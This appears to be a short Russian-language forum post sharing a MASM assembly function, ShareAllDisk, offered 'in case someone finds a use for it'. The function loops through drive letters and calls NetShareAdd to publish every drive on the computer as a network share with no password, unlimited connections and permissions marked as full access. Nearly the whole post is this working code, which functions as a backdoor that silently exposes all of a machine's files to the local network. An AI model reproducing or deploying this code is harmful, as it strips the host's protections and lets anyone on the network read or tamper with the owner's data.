Функция зашаривает все диски на компе.
Может кто применит.

;#######################################################

ShareAllDisk proc uses edi esi ebx


LOCAL NetName[5] : byte
LOCAL Servername[22h] : word
LOCAL Path_[14h] : word
LOCAL CompNam[20h] : byte
LOCAL DrvLtr : word
LOCAL ShrINF : SHARE_INFO_2
LOCAL nSize : dword
LOCAL szPath : dword
LOCAL parm_err : dword
LOCAL Countr : dword

xor esi, esi
xor ebx, ebx
xor edi, edi
inc edi
dec ebx
mov word ptr DrvLtr, 0062h
mov dword ptr szPath, 005C3A62h
mov parm_err, esi
mov Countr, esi
mov nSize, 20h
invoke GetComputerNameA, addr CompNam, addr nSize
or ShrINF.shi2_max_uses, ebx
lea eax, Path_
mov ShrINF.shi2_path, eax
lea eax, NetName
mov ShrINF.shi2_netname, eax
lea eax, NetName
mov ShrINF.shi2_remark, eax
mov ShrINF.shi2_type, STYPE_DISKTREE
mov ShrINF.shi2_current_uses, esi
mov ShrINF.shi2_passwd, esi
mov ShrINF.shi2_permissions, esi ; ACCESS_ALL
invoke MultiByteToWideChar, esi, edi, addr CompNam, ebx, addr Servername, 22h
.while Countr != 26
add szPath, edi
invoke MultiByteToWideChar, esi, edi, addr szPath, ebx, addr Path_, 14h
add DrvLtr, di
invoke MultiByteToWideChar, esi, edi, addr DrvLtr, ebx, addr NetName, 34h
invoke NetShareAdd, addr Servername, 2, addr ShrINF, addr parm_err
inc Countr
.endw
ret


ShareAllDisk endp